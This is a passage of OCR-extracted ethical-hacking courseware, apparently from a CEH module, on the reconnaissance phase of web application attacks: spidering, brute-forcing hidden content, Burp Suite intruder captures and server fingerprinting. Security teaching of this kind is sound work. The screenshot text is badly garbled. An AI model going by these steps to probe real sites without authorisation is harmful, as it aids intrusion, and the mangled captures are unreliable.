a l low s  an a t ta c k e r  to  reco ve r  backup  cop ies  o f  live fi les, c o n f ig u ra t io n  fi les, and log f i les  

c o n ta in in g  sens it ive  da ta , backup  a rch ives  c o n ta in in g  sn a p s h o ts  o f  f i les  w i th in  th e  w e b  ro o t ,  

n e w  fu n c t io n a l i t y  th a t  is n o t  l inked  to  th e  m a in  a pp l ica t ion ,  etc. These h id de n  f ie lds  can be 

d e te rm in e d  w i th  th e  he lp  o f  th re e  te ch n iq u e s .  T hey  are:

W e b  S p i d e r i n g

W e b  sp iders  a u to m a t ic a l ly  d iscove r  h id de n  c o n te n t  and fu n c t io n a l i t y  by pars ing  HTM L 

fo rm s  and c l ien t-s ide  JavaScrip t reques ts  and responses.

Too ls  t h a t  can be used to  d iscover  th e  h id de n  c o n te n t  by  m eans  o f  w e b  s p id e r in g  inc lude :

Q OWASP Zed A t ta c k  Proxy 

Q Burp  Sp ider 

© W ebS carab
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A t t a c k e r - D i r e c t e d  S p i d e r i n g

An a t ta c k e r  accesses all o f  th e  a p p l ic a t io n 's  fu n c t io n a l i t y  and uses an in te rc e p t in g  

p ro xy  to  m o n i t o r  all reques ts  and responses. The in te r c e p t in g  p ro x y  parses all o f  th e  

a p p l ic a t io n 's  responses and re p o r ts  th e  c o n te n t  and fu n c t io n a l i t y  i t  d iscovers.

The sam e to o l  used fo r  w e b  sp ide r ing , i.e., OWASP Zed A t ta c k  Proxy can a lso be used fo r  

a t ta c k e r -d i re c te d  sp ider ing .

B r u t e  F o r c i n g

B ru te  fo rc in g  is a v e ry  p o p u la r  and easy m e th o d  to  a t ta c k  w e b  servers. Use 

a u to m a t io n  to o ls  such as Burp Suite  to  m ake  large n u m b e rs  o f  reques ts  to  th e  w e b  

se rve r in o rd e r  to  guess th e  nam es o r  id e n t i f ie rs  o f  h id d e n  c o n te n t  and fu n c t io n a l i t y .
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W e b  S p i d e r i n g  U s i n g  B u r p  S u i t e  C E H
C«rt1fW4 itfciul NmIm

intruder attack 1

resurs ttrset j po3mons payioaqs | options

comment
!reouesr

weosovce *woe* ?00כ 10443.

OTT / th 7 1 d - l . 4M7«C150040::3 U [1 id־ l , I H TTP/I. I 
MvO.. kl1.iM.LliUJ.UVl
Pxoxy-C onn tc tion : kwp-««l.Lve
1 lM t־ lg *n e : K o x ilW S .O  (Window■* NT C. 2 ; V0V£«) A ppl«0»bX lt/337. « 
{KBTHL, like Oeeko) Chrowe/22.0. i229.9־l Srttor1 /S 3 7 .1 Accept: י/•
Mttrtn
h t t p : / / v rf.M־rf׳ ng .co» / U »*y«s/i«a1:ch?q-blk*i11id־ «CCC7«70<SClCPJA9P:SA,SS9<J 
5ir1C575D1:594*POPH-rcrRBA
Accvpt-Zncodisvg: c jz ip, d * f  lu te ,  aclch 
Accept-langua{re: en-US, en: g8 .0 ־  
iccepc-cnatrsec: JSO-88SS-l,uc£-8;«r=0.7, ';q * 0 .3

comparer | options | alpris— ' uaeT repeater | sequencer׳  aecoaer

[ p93!tons payloads ' options |

| 0 matches

h ttp ://w w w .po rtsw ig ge r.ne t

Copyright © by E&Coinal. All Rights Reserved. Reproduction is Strictly Prohibited.

loauflit rssponso | 

nw r.-nm־ rrnfleri hf<

C heck th e  s ite  m ap  gen e ra ted  by th e  Burp 

proxy, and id e n t ify  any h idden a p p lica tio n  
c o n te n t o r  fu n c tio n s

C o ntinue  these steps recurs ive ly  u n til no 

fu r th e r  c o n te n t  o r  fu n c t io n a lity  is 

id e n t if ie d

C o n fig u re  y o u r  w e b  b ro w s e r to  use Burp as a lo ca l p roxy

Access th e  e n t ire  ta rg e t a p p lic a tio n  v is iting  eve ry  single 

link /U R L possible , and subm it a ll th e  a p p lic a tio n  fo rm s  
ava ilab le

Brow se th e  ta rg e t  a p p lic a tio n  w ith  JavaScript enab led  and 

d isab led, and w ith  cook ies  enab led and d isabled

len din 46*.

burp suite free edition v1.4.01

2 payweq poamona
OCT / t b ? ld H ^ W 'r '
H>9t: t3 1 .w w .b ln g .ne t 
P roxy-ccnnccc io tu  icecp -« 1m
U w -A « j-n t:  M o x tllA /S .a  (Utnclowx NT t .  2; IfOWM) 
AppleVebK1c/S39.^ iKITOJL, Like Cecko)
-hrone, ג ב . u .1 ::9 .3 a  S a ta r1/6 37 .4  Ic’cvpt: »/ *
R»Z«x«x:
h t tp : / / * » w .b in g .c  ocV anwwj-.י־/  i to c c M  q-b i \c~*l id-«CCC7£'70 
6 SC ICD3 ASD2 E AB E 0 6 3 51PE0S7SD 12 S54tP ORN-1OP RB A 
Accept-Encoding: g z 1 p ,d e lla te , 9dcH

W e b  S p i d e r i n g  U s i n g  B u r p  S u i t e

^ ^  Source: h t tp : / /w w w .p o r t s w iR g e r .n e t

Burp Suite  is an in te g ra te d  p la t fo rm  fo r  a t ta ck in g  w e b  a pp lica t ions . It co n ta ins  all th e  Burp to o ls

w i th  n u m e ro u s  in te r face s  b e tw e e n  th e m ,  des igned  to  fa c i l i ta te  and speed up th e  process o f

a t ta ck in g  an a pp lica t ion .

Burp Suite  a l low s  you  to  c o m b in e  m anua l and a u to m a te d  te c h n iq u e s  to  e n u m e ra te ,  analyze, 

scan, a t tack , and e x p lo i t  w e b  a pp lica t ions . The va r ious  B u rp  to o ls  w o r k  to g e th e r  e f fe c t iv e ly  to  

share  in fo rm a t io n  and a l lo w  f in d ing s  id e n t i f ie d  w i th in  one  to o l  to  fo rm  th e  basis o f  an a t ta ck  

using a n o th e r .

W e b  sp id e re in g  using Burp Suite is d on e  in th e  fo l lo w in g  m an ne r:

1. C on f igu re  y o u r  w e b  b ro w s e r  to  use Burp as a local p ro xy

2. Access th e  e n t i re  ta rg e t  a pp l ica t io n  v is i t ing  eve ry  s ingle l ink /U R L  possib le , and s u b m it  all 

th e  a p p l ic a t io n  fo rm s  ava i lab le

3. B row se  th e  ta rg e t  a p p l ic a t io n  w i th  JavaScr ip t ena b led  and d isab led , and w i th  cook ies 

e nab led  and d isab led

4. Check th e  s ite  m ap  g e n e ra te d  by th e  Burp p roxy , and id e n t i f y  any  h idden  a pp l ica t io n  

c o n te n t  o r  fu n c t io n s
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5. C on t inu e  these  steps recu rs ive ly  u n t i l  no  fu r t h e r  c o n te n t  o r  fu n c t io n a l i t y  is id e n t i f ie d

burp suite free edition v1.4.01

scanner

attack type sniper

length: 4652 payload positions

ciear§

auto §

refresh

GET / t h ? i d = S I •4 5 8 7 6 6 1 5 0 0 4 8 2 2 3  I S i p id = 5 1 •1 5  H T T P /1 .1  
H o s t :  t s 4 .m m .b in g . n e t  
P r o x y - C o n n e c t io n :  k e e p - a l iv e
U s e r -A g e n t :  H o z i l l a / 5 . 0  (V in d o v s  NT 6 . 2 ;  ¥0V64) 
A p p le V e b K i t / 5 3 7 .4  (KHTML, l i k e  G ecko)
C h ro m e /2 2 .0 .1 2 2 9 .9 4  S a f a r i / 5 3 7 . 4  
A c c e p t :  * / *
R e f e r e r :
h t t p : / / v v v .b in g .c o m / im a g e s /3 e a r c h ? q “ b ik e s 4 id *6 C C C 7 6 7 0  
65C1CD3A9D2EABE86351FE8575D12594SF0RM־ IQFRBA 
A c c e p t- E n c o d in g :  g z i p , d e f l a t e ,  s d c h clear

f  target 1 positions | payloads [ options

burp intruder repeater window about

intruder | repeater | sequencer | decoder j comparer ’ options | alerts

spider

___________* 7£ו נ

J 0 matches

intruder attack 1

attack save columns

F ilte r showing all items

target ' positions [ payloads ' options

comment
baseline request

status error time... length
10443

□  193
ח ה 10443

□

sfc
200
400

payloadposition

200
Web Service Attack
Web Service Attack.

results

request

request [ response

raw ־| params | headers j hex

GET /  t h ? i c l - 1 . 4 5 8 7 6 6 1 5 0 0 4 8 2 2 3 l& p id - 1 . 1 H T T P /1 . 1 
H o s t :  t s 4 .m m .b in g . n e t  
P to x y - C o n n e c t io n :  k e e p - a l iv e
U s e r - A g e n t :  M o z i l l a / 5 . 0  (W indow s NT 6 . 2 ;  ¥ 0¥ 64 ) A p p le W e b K it /5 3 7 .4  
(KHTML, l i k e  G ecko) C h ro ro e /2 2 .0 .1 2 2 9 .9 4  S a f a r i / 5 3 7 . 4  
A c c e p t :  * / *
R e f e r e r :
h t t p : / / v v v .b in g .c o m /im a g e s /s e a rc h ? q = b ik e s S id = 6 C C C 7 6 7 0 6 5 C lC D 3 A 9 D 2 E A B E 8 6 3
51FE8575D12S94SFORM=IQFP.BA
A c c e p t-E n c o c lin g :  g z i p , d e f l a t e , s d c h
A c c e p t- L a n g u a g e : e n - U S ,e n ;q = 0 .8
A c c e p t - C h a r s e t :  I S O - 8 8 5 9 - 1 , u t f - 8 ; q = 0 . 7 ,  * ;c [ “ 0 .3
r i An «_r- 1 ngp_____________________________________________
(z h z h z h :

inished

F IG U R E  1 3 .3 4 :  S e r v e r  I d e n t i f i c a t io n / B a n n e r  G ra b b in g
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C E H
W e b  S p i d e r i n g  U s i n g  M o z e n d a  

W e b  A g e n t  B u i l d e r

J  M o z e n d a  W e b  A g e n t  

B u i ld e r  c r a w ls  t h r o u g h  

a  w e b s i t e  a n d  h a r v e s t s  

p a g e s  o f  i n f o r m a t i o n

Copyright © by E&Couacil. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b  S p i d e r i n g  U s i n g  M o z e n d a  W e b  A g e n t  B u i l d e r

Source: h t t p : / /w w w .m o z e n d a .c o m

M o ze nd a  W e b  A g e n t  B u i lde r  is a W in d o w s  a p p l ic a t io n  used to  bu i ld  y o u r  da ta  e x tra c t io n  

p ro je c t .  It c raw ls  th ro u g h  a w e b s i te  and harves ts  pages o f  in fo rm a t io n .  W e b  A g e n t  B u i lde r  is a 

to o l  su ite  th a t  inc ludes an in tu i t iv e  Ul and a b ro w se r-b a se d  in s t ru c t io n  set. Se tt ing  up y o u r  

c ra w le r  is as s im p le  as p o in t in g  and c l ick ing  to  n a v ig a te  pages and c a p tu re  th e  in fo rm a t io n  you  

w a n t .
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(m  occnda WebAgentl (not saved) - Mocenda Web Agent Ouildci - ם א

Me &  0  I cot Agent ^ ־̂־   hrtp-,7wxw׳ be«ouy rc n )׳ * » A * m u n g . . - j ;v w -c » « - / - ;^ - , -M )K 7  ’  ► O  © rm htip top1«... S  O - c i p

rShare 1 8 י  Pi 0d « t 

Writ* o Rovtew

Choose son order Date: Newest

Customer Rating U
Lovt Mrnnv iv atn9/20103/JJPTCRZY from RO-IIOMC, CA Read si ru re/6w3 
Picture Quolty 5.0

Sound Quatty ^ ; &0

Features SO

Whet's greet about i t  WAS VERY EASYTC SET UP, REMOTE EASYTO USE FOR FEATURES 
*GREAT =>CTl.RE AMD FEATJRES VERY USER FREMDLY. EASY TO SET UP־

Would you recommend this product to a friend?! yes ^

Was T tt r»/ew reep־U? res Ho Repor nappr33na:e review 
Siere J-isF.oBft.

Customer Retina & & & & '.  U  

fu rryP ic tjre  C'/IWO'C

Review Rating Review Would recommend
EẐ H What־* great about it WASVERVEAS . Yet
3.0 Wttifs great about it. Great SoundWh... No
d.o Whet's greet about it: nice featuiesW... Yes
A J) What's great aoout it good price, loo... Yet

New Action
Use the tools below to  peifoint actions on tlie oauc

Cick an item 

O f  Capture text or image 

ט  Set user input

Create a list of items

Selected Action
Modify the behavior of the selected action

y  View action properties 

&  Change item location

Use the tools above to add a new action to  this page 0 
modify the behavior of the  currently selected action

Page L
Begin Rem List •Item Namelist 

Capture Item Name 
Capture Rice 
cap tu re . Rating 
Capture • Model 
Click Item 
End Uit

Begin Item list • Review Ratingl... 
Capture • Review Rating 
Capture Review 
Capture Would recommend

• l 1 נ / toady njytr[!]/2]»ד] / d r v[ 4)  / d i r l  1v[2J/e

F IG U R E  1 3 .3 5 :  W e b  S p id e r in g  U s in g  M o z e n d a  W e b  A g e n t  B u i ld e r
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Attack Session Attack Attack
Management Data Connectivity Web Services 
Mechanism

Attack Attack
Web Servers Authentication

Mechanism

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p  H a c k i n g  M e t h o d o l o g y  

A t t a c k  W e b  S e r v e r s

Once yo u  c o n d u c t  fu l l  scope fo o tp r in t in g  on w e b  in f ra s t ru c tu re ,  ana lyze th e  g a th e re d  

in fo rm a t io n  to  f in d  th e  v u ln e ra b i l i t ie s  th a t  can be e x p lo i te d  to  lau nch  a t ta c k s  on w e b  servers. 

Then  a t te m p t  to  a t ta c k  w e b  servers  using va r ious  te c h n iq u e s  ava ilab le . Each and eve ry  w e b s i te  

o r  w e b  a p p l ic a t io n  is assoc ia ted  w i th  a w e b  se rve r  th a t  has code  fo r  se rv ing  a w e b s i te  o r  w e b  

a pp l ica t ion .  The a t ta c k e r  e x p lo i ts  th e  v u ln e ra b i l i t ie s  in th e  code  and launches th e  a t tacks  on 

th e  w e b  serve r. D e ta i led  in fo rm a t io n  a b o u t  hack ing  w e b  servers  w i l l  be exp la ined  on th e  

fo l lo w in g  slides.
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H a c k i n g  W e b s e r v e r s

— 5 .  Once th e  a t ta c k e r  id e n t i f ie s  th e  w e b  se rve r e n v i ro n m e n t ,  a t tacke rs  scan fo r  k n o w n  

v u ln e ra b i l i t ie s  by using a w e b  se rve r  v u ln e ra b i l i t y  scanner. V u ln e ra b i l i t y  scann ing  helps th e  

a t ta c k e r  to  launch  th e  a t ta ck  easily by id e n t i f y in g  th e  e x p lo i ta b le  v u ln e ra b i l i t ie s  p re sen t  on th e  

w e b  server. Once th e  a t ta c k e r  ga the rs  all th e  p o te n t ia l  v u ln e ra b i l i t ie s ,  he o r  she tr ie s  to  e x p lo i t  

th e m  w i th  th e  he lp  o f  va r ious  a t ta c k  te c h n iq u e s  to  c o m p ro m is e  th e  w e b  serve r. In o rd e r  to  s top  

th e  w e b  se rve r f r o m  serv ing  le g i t im a te  users o r  c l ien ts , th e  a t ta c k e r  launches a DoS a t tack  

aga ins t th e  w e b  server. You can launch  a t tacks  on th e  v u ln e ra b le  w e b  se rve r  w i th  th e  he lp  o f  

to o ls  such as UrIScan, N ik to ,  Nessus, A c u n e t ix  W e b  V u ln e ra b i l i t y  Scanner, W e b ln s p e c t ,  etc.
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C E H
W e b  S e r v e r  H a c k i n g  T o o l :  

W e b l n s p e c t

t ’ו■ ■
*י**® י״*•" *" ג־״2•־

- • w o u

J  W e b ln s p e c t id e n t if ie s  s e c u r ity  

v u ln e r a b il i t ie s  in  th e  w e b  

a p p lic a tio n s

J  I t  ru n s  in te r a c t iv e  scans us ing  

a s o p h is tic a te d  u se r in te r fa c e

J  A tta c k e r can e x p lo it  id e n t if ie d  

v u ln e ra b il it ie s  to  c a r ry  o u t  

w e b  s e rv ic e s  a tta cks

https://dow nload.hpsm artupdate .com

Copyright © by E&Coinal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b s e r v e r  H a c k i n g  T o o l :  W e b l n s p e c t

Source: h t tp s : / /d o w n lo a d .h p s m a r tu p d a te .c o m

W e b ln s p e c t  s o f tw a re  is w e b  a pp l ica t io n  se cu r ity  assessm ent s o f tw a re  des igned  to  th o ro u g h ly  

ana lyze to d a y 's  c o m p le x  w e b  app lica t ions . It de l ive rs  fas t  sca nn in g  c a p a b i l i t ie s ,  b road  

assessm ent coverage, and accu ra te  w e b  a p p l ic a t io n  scann ing  resu lts . It id e n t i f ie s  secu r ity  

v u ln e ra b i l i t ie s  th a t  are  u n d e te c ta b le  by t r a d i t i o n a l  scanners . A t ta cke rs  can e x p lo i t  th e  

id e n t i f ie d  v u ln e ra b i l i t ie s  fo r  lau nch ing  w e b  services a ttacks.
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Attack Session Attack Attack
Management Data Connectivity Web Services 
Mechanism

Attack Attack
Web Servers Authentication

Mechanism

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

W e b  A p p  H a c k i n g  M e t h o d o l o g y  

A n a l y z e  W e b  A p p l i c a t i o n s

Ana lyz ing  th e  w e b  a p p l ic a t io n  helps you  in id e n t i fy in g  d i f fe re n t  vu ln e ra b le  p o in ts  t h a t  can be 

e x p lo i ta b le  by  th e  a t ta c k e r  fo r  c o m p ro m is in g  th e  w e b  a p p l ic a t io n .  D e ta i led  in fo rm a t io n  a b o u t  

ana lyz ing  a w e b  a p p l ic a t io n  and id e n t i fy in g  th e  e n t r y  p o in ts  to  b reak  in to  th e  w e b  a pp l ica t io n  

w i l l  be d iscussed on th e  fo l lo w in g  slides.
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Analyze Web Applications AEH
itfciul N«h««

■  A n a ly z e  t h e  a c t iv e  a p p l ic a t i o n 's  f u n c t i o n a l i t y  a n d  t e c h n o lo g ie s  in  o r d e r  t o  i d e n t i f y  t h e  a t t a c k  

s u r fa c e s  t h a t  i t  e x p o s e s

Identify Server-Side  
Functionality

O bserve th e  a p p lic a tio n s  

revea led  to  th e  c lie n t to  
id e n t ify  th e  se rver-s ide  

s tru c tu re  and  fu n c t io n a lity

Map the Attack  
Surface

Id e n tify  th e  various a ttack surfaces 
uncovered by th e  applications and 
th e  vu lne rab ilit ies  th a t are associated 
w ith  each one

Identify Entry Points for 
User Input

R eview  th e  g e n e ra te d  HTTP 

re q u e s t to  id e n t ify  th e  
in p u t  e n try  p o in ts

Identify Server-Side  
Technologies

F in g e rp r in t th e  te ch n o lo g ie s  

a c tiv e  on  th e  se rve r using 
va r io u s  f in g e rp r in t  te c h n iq u e s  

such as HTTP f in g e rp r in tin g

Copyright © by E&Ctuacil. All Rights Reserved.!Reproduction is Strictly Prohibited.

™ j  A n a l y z e  W e b  A p p l i c a t i o n s

----------  W e b  a pp l ica t io n s  have va r ious  v u ln e ra b i l i t ie s .  First, basic k n o w le d g e  re la ted  to  th e

w e b  a p p l ic a t io n  has to  be acqu ire d  by th e  a t ta c k e r  and th e n  ana lyze th e  a c t ive  a p p l ic a t io n 's  

f u n c t io n a l i t y  and te c h n o lo g ie s  in o rd e r  to  id e n t i f y  th e  a t ta c k  surfaces t h a t  it exposes.

Id e n t i f y  E n try  P o in ts  f o r  U ser  In p u t

The e n t r y  p o in t  o f  an a p p l ic a t io n  serves as an e n t r y  p o in t  fo r  a ttacks ; these  e n t r y  p o in ts  inc lude  

th e  f ro n t - e n d  w e b  a p p l ic a t io n  t h a t  l is tens fo r  HTTP requests . Rev iew  th e  g e n e ra te d  HTTP 

re q u e s t  to  id e n t i f y  th e  user in p u t  e n t r y  po in ts .

Id e n t i f y  Se rve r-s ide  F u n c t io n a l i ty

Server-s ide  fu n c t io n a l i t y  re fe rs  to  th e  a b i l i t y  o f  a se rve r  th a t  e xecu tes  p ro g ram s  on  o u tp u t  w e b  

pages. Those are  scr ip ts  th a t  res ide  and also a l lo w  ru n n in g  in te ra c t iv e  w e b  pages o r  w eb s i tes  

on p a r t ic u la r  w e b  servers. O bserve  th e  a pp l ica t io n s  revea led  to  th e  c l ie n t  to  id e n t i f y  th e  se rver-  

s ide s t ru c tu re  and fu n c t io n a l i t y .

Id e n t i f y  Se rve r-s ide  T ec h n o lo g ie s

Server-s ide  te c h n o lo g ie s  o r  se rve r-s ide  sc r ip t ing  re fe rs  to  th e  d y n a m ic  g e n e ra t io n  o f  w e b  pages 

th a t  are served by th e  w e b  servers, as th e y  are opp ose d  to  s ta t ic  w e b  pages th a t  are  in th e  

s to rage  o f  th e  se rve r  and served to  w e b  b row se rs .  F in g e rp r in t  th e  te c h n o lo g ie s  ac t ive  on th e  

se rve r  us ing va r ious  f in g e rp r in t  te c h n iq u e s  such as HTTP f in g e rp r in t in g .
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M a p  th e  A t ta c k  Surface

Id e n t i fy  th e  va r iou s  a t ta c k  surfaces u nco ve red  by th e  a pp lica t ion s  and th e  v u ln e ra b i l i t ie s  th a t  

are assoc ia ted  w i th  each one.
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A n a l y z e  W e b  A p p l i c a t i o n s :

I d e n t i f y  E n t r y  P o i n t s  f o r  U & e r  I n p u t

Identify HTTP header parameters 
that can be processed by the 
application as user inputs such as 
User-Agent, Referer, Accept, 
Accept-Language, and Host headers

Tools used:

« Burp Suite 

» HttPrint 

 WebScarab ט

OWASP Zed Attack Proxy ט

Examine URL, HTTP Header, 
query string parameters, POST 
data, and cookies to 
determine all user input fields

Determine URL encoding 
techniques and other 
encryption measures 
implemented to secure the 
web traffic such as SSL

. Copyright © by E&CaiHGO. All Rights Reserved.!Reproduction is Strictly Prohibited.

A n a l y z e  W e b  A p p l i c a t i o n s :  I d e n t i f y  E n t r y  P o i n t s  f o r  

U s e r  I n p u t

Q D ur ing  th e  w e b  a p p l ic a t io n  analysis, a t tacke rs  id e n t i f y  e n t r y  p o in ts  fo r  user in p u t  so th a t  

th e y  can u n d e rs ta n d  th e  w a y  th e  w e b  a p p l ic a t io n  accepts  o r  hand les  th e  user in p u t .  

Then  th e  a t ta c k e r  t r ie s  to  f in d  th e  v u ln e ra b i l i t ie s  p re sen t  in in p u t  m ech an ism  and tr ies  

to  e x p lo i t  th e m  so th a t  a t ta c k e r  can associate  w i th  o r  gain access to  th e  w e b  

a pp lica t ion .  Exam ine URL, HTTP H eade r ,  q u e ry  s t r in g  p a ra m e te rs ,  POST d a ta ,  and 

cook ies  to  d e te rm in e  all user in p u t  f ie lds.

0  Id e n t i fy  HTTP h e a d e r  p a ra m e te rs  th a t  can be p rocessed by th e  a p p l ic a t io n  as user 

inp u ts  such as U ser-Agen t, R eferre r,  Accep t, Accep t-Language , and Host headers.

0  D e te rm in e  URL e n c o d in g  te c h n iq u e s  and o th e r  e n c ry p t io n  m easures  im p le m e n te d  to  

secure  th e  w e b  t ra f f ic  such as SSL.

The to o ls  used to  ana lyze  w e b  a pp lica t ion s  to  id e n t i f y  e n t r y  p o in ts  fo r  user in p u t  inc lu de  Bu rp  

Su ite , H t tP r in t ,  W e b S ca ra b ,  O W ASP Zed A t ta c k  P roxy , etc.
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A n a l y z e  W e b  A p p l i c a t i o n s :  I d e n t i f y  

S e r v e r - S i d e  T e c h n o l o g i e s

E x a m in e  s e s s io n  to k e n s :  

a JSESSIONID - Java

« ASPSESSIONID-IIS 
server

« ASP.NET_Sessionld ־ 
ASP.NET

» PHPSESSID - PHP

Examine the 
e r r o r  p a g e  messages

E xa m in e  URLs for file 
extensions, directories, 
and other identification 
information

Perform a detailed s e rv e r 

f in g e rp r in t in g ,  analyze 
HTTP headers and HTML 
source code to identify 
server side technologies

U i w  http://juggyboy.com/8rror.aspx

O o p s !
Server Error in ,/ReportServer' Application. 

Could not find the permission set named 'ASP.Net'. 
Description: An unhanded exception occurred during the 
execution of the current web request. Please review the stack 
trace for more information about the error and where it 
originated in the code.

Version Information: Microsoft .Net Framework Version 
4.0.30319; ASP.Net Version 4.0.30319.1

\  1

Microxaft-IISJfl 0

SunONE Webserver 0 0, Net&c«*pe-Er4e<pr*e/4 1

MicrosafMIS/6 0

Apache;2 0.32 !Fedora)

Micro* oft-IIS'6.0.0

' >  Server Side Technologies < •

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

A n a l y z e  W e b  A p p l i c a t i o n s :  I d e n t i f y  S e r v e r - S i d e  

T e c h n o l o g i e s

Source: h t tp : / /n e t - s q u a re .c o m

A f te r  id e n t i fy in g  th e  e n t r y  p o in ts  th ro u g h  user inpu ts ,  a t tacke rs  t r y  to  id e n t i f y  se rve r-s ide  

te c h n o lo g ie s .

The se rve r-s ide  te c h n o lo g ie s  can be id e n t i f ie d  as fo l lo w s :

1. P e r fo rm  a d e ta i le d  se rve r  f in g e rp r in t in g ,  ana lyze  HTTP headers  and HTM L source  code 

to  id e n t i f y  se rve r s ide te chn o lo g ie s

Exam ine URLs fo r  f i le  ex tens ions , d irec to r ies ,  and o th e r  id e n t i f ic a t io n  in fo rm a t io n  

Exam ine th e  e r ro r  page messages 

Exam ine session tokens : 

e  JSESSION ID - Java 

© ASPSESSION I D - I I S  se rve r  

e  ASP.NET_Sess ion lD-ASP.NET 

e  PHPSESS I D - P H P
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P H
r.com/error.aspxh«p://jueev1>oy

Server Error in ’/ReportServer' App lication. 

Could n o t f in d  the permission set named 'ASP. Net'. 

Description: An unhanded exception occurred during the 
execution of the current web request. Please review the stack 
trace for more information about the error and where it 
originated in the code.

Version Information: Microsoft Net Framework Version 
4.0.30319; ASP.Net Version 4.0.30319.1

w e b  s e r v e r  f i n g e rp r in t in g  r e p o r t

host port banner reported banner deduced e e s i

www airs ahara net 80 Microsoft-IIS/6 0 Mlcrosoft-IIS/6.0 L l l _______ 1
easicoas t fight com Apache/2.0.52 (Fedora) Apache/2.0.x V 1 4
www redhat.com 4•: 3 ~y Apache Apache/1.3.27 V ' n
www cnn com ~ Apache Apache/2 0.x 1 1 1
chaseon1jne.chase.com 443 ־7 JPMC1.0 SunONE Webserver 6.0. Netscape-Emerpnse/4.1 — i
wwwfoundstone.com 80 WebSTAR Apache/2.0.x V I ן ן
wwwwalmart.com SC Microsoft-IIS/6 0.0 Apache/2.0.x V 1 1 1

ffuu por 30sc/־. ware com 80 Yes we are using 
ServerMask!

Microsoft-lIS/4.0. M»crosoft-IIS5.0׳ ASP.NET. Microsoft- 
I IS/5.1

;>- Server Side Technologies ׳•<

F IG U R E  1 3 .3 7 :  I d e n t i f y  S e rv e r - S id e  T e c h n o lo g ie s
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A n a l y z e  W e b  A p p l i c a t i o n s :  I d e n t i f y  s* c i ■

S e r v e r - S i d e  F u n c t i o n a l i t y  H i — 5!

Examine pagesource and URLs and make an educated guess to determine the 
internal structure and functionality of web applications

GNU Wget http://www. gnu.org

Teleport Pro http://www. tenmax.com
&

BlackWidow http://softbytelabs.com

Tools  ^  > >  
used:©

ASPX Platform 
A

E x a m i n e  U R L

SSL
A

h t t p s : / / w w w . j u g g y b o y . c o m / c u s t o m e r s . a s p x ? n a m e = e x i s t i n g % 2  0 c l i e n t s & i s A c t i v e =  
O S s t a r t D a t e = 2 0 % 2 F l l % 2 F 2 0 1 0 S e n d D a t e = 2 0 % 2 F 0 5 % 2 F 2 0 1 l & s h o w B y = n a m e

Copyright © by E&C01nal. A ll Rights Reserved. Reproduction is Strictly Prohibited.

A n a l y z e  W e b  A p p l i c a t i o n s :  I d e n t i f y  S e r v e r - s i d e  

F u n c t i o n a l i t y

Once th e  se rve r-s ide  te c h n o lo g ie s  are d e te rm in e d ,  id e n t i f y  th e  se rve r-s ide  fu n c t io n a l i t y .  This 

helps you  to  f in d  th e  p o te n t ia l  v u ln e ra b i l i t ie s  in se rve r-s ide  fu n c t io n a l i t ie s .  Exam ine page 

source  and URLs and m ake  an e du ca te d  guess to  d e te rm in e  th e  in te rn a l  s t ru c tu re  and 

fu n c t io n a l i t y  o f  w e b  a p p l ic a t io n s .

T o o l s  U s e d :

0 %  W g e t

— — Sour ce:  h t t p : / /w w w .g n u . o r g

GNU W g e t  is fo r  re t r ie v in g  f i les  using HTTP, HTTPS, a nd  FTP, th e  m o s t  w id e ly -u s e d  In te rn e t  

p ro toco ls .  It is a n o n - in te ra c t iv e  c o m m a n d - l in e  to o l ,  so i t  can be ca lled f r o m  scr ip ts, cron jobs , 

te rm in a ls  w i t h o u t  X -W in d o w s  s u p p o r t ,  etc.

T e l e p o r t  P r o

Source: h t tp : / /w w w . te n m a x .c o m

T e le p o r t  Pro is an a l l -pu rp ose  h igh -speed  to o l  fo r  g e t t in g  da ta  f r o m  th e  In te rn e t .  Launch up to  

te n  s im u l ta n e o u s  re tr ie va l th re ad s , access p a s s w o rd -p ro te c te d  sites, f i l t e r  f i les  by  size and
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typ e ,  and search fo r  keyw o rd s .  Capable  o f  re a d in g  H T M L  4 .0, CSS 2 .0, a nd  D H TM L, T T e le p o r t  

can f in d  all f i les ava i lab le  on  all w eb s i tes  by m eans  o f  w e b  sp id e r ing  w i th  se rve r-s ide  im age  m ap  

e x p lo ra t io n ,  a u to m a t ic  d ia l -u p  conn ec t in g ,  Java a p p le t  s u p p o r t ,  va r iab le  e x p lo ra t io n  dep ths , 

p ro je c t  schedu ling , and re l ink in g  ab i l i t ies .

B l a c k W i d o w

____ Source: h ״ t tp : / / s o f tb v te la b s .c o m

B la c k W id o w  scans a s ite  and c rea tes  a c o m p le te  p ro f i le  o f  th e  s i te 's  s t ru c tu re ,  f i les ,  e x te rn a l  

l inks  and even l ink  e rro rs . B la c k W id o w  w i l l  d o w n lo a d  all f i le  typ es  such as p ic tu res  and images, 

a ud io  and M P3, v ideos, d o c u m e n ts ,  ZIP, p rog ram s , CSS, M a c ro m e d ia  Flash, .pdf, PHP, CGI, HTM 

to  M IM E  typ es  f r o m  any w ebs ites . D o w n lo a d  v id e o  and save as m a n y  d i f fe re n t  v ide o  fo rm a ts ,  

such as YouTube , MySpace, Goog le , MKV, MPEG, AVI, DivX, XviD, M P4, 3GP, W M V ,  ASF, M O V, 

QT, VOB, etc. It can n o w  be c o n t ro l le d  p ro g ra m m a t ic a l ly  using th e  b u i l t - in  Scr ip t In te rp re te r .

ASPX Platform 
A

E xam ine  URL

SSL
A

h t t p s : / /w w w . ju g g y b o y . c o m /c u s to m e rs . a s p x ? n a m e = e x is t in g % 2 0 c l ie n t s & is A c t i v e =  
0&startDate=20%2Fll%2F2010SendDate=20%2F05%2F2011&showBy=name

V
- >  D a ta b a s e  C o lu m n  <•■

F IG U R E  1 3 .3 8 :  B la c k W id o w

If a page URL s ta rts  w i th  h t tp s  ins tead o f  h t tp ,  th e n  i t  is k n o w n  as a SLL c e r t i f ie d  page. If a page 

co n ta ins  an .aspx e x ten s ion , chances are  t h a t  th e  a p p l ic a t io n  is w r i t t e n  using ASP.NET. If th e  

q u e ry  s tr ing  has a p a ra m e te r  n am ed  showBY, th e n  you  can assum e th a t  th e  a p p l ic a t io n  is using 

a da tabase  and d isp lays th e  data  by th a t  va lue.
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C E H
Urt1fw4 ilh iu l lUtbM

A n a l y z e  W e b  A p p l i c a t i o n s :  M a p  

t h e  A t t a c k  S u r f a c e

-------------------------------------------
I n f o r m a t i o n

